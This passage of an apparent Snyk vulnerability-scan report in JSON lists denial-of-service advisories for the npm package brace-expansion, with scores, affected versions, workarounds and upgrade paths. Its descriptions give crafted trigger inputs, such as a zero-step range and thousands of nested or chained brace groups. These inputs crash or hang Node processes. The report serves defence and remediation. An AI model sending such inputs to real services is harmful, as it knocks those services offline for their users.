"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
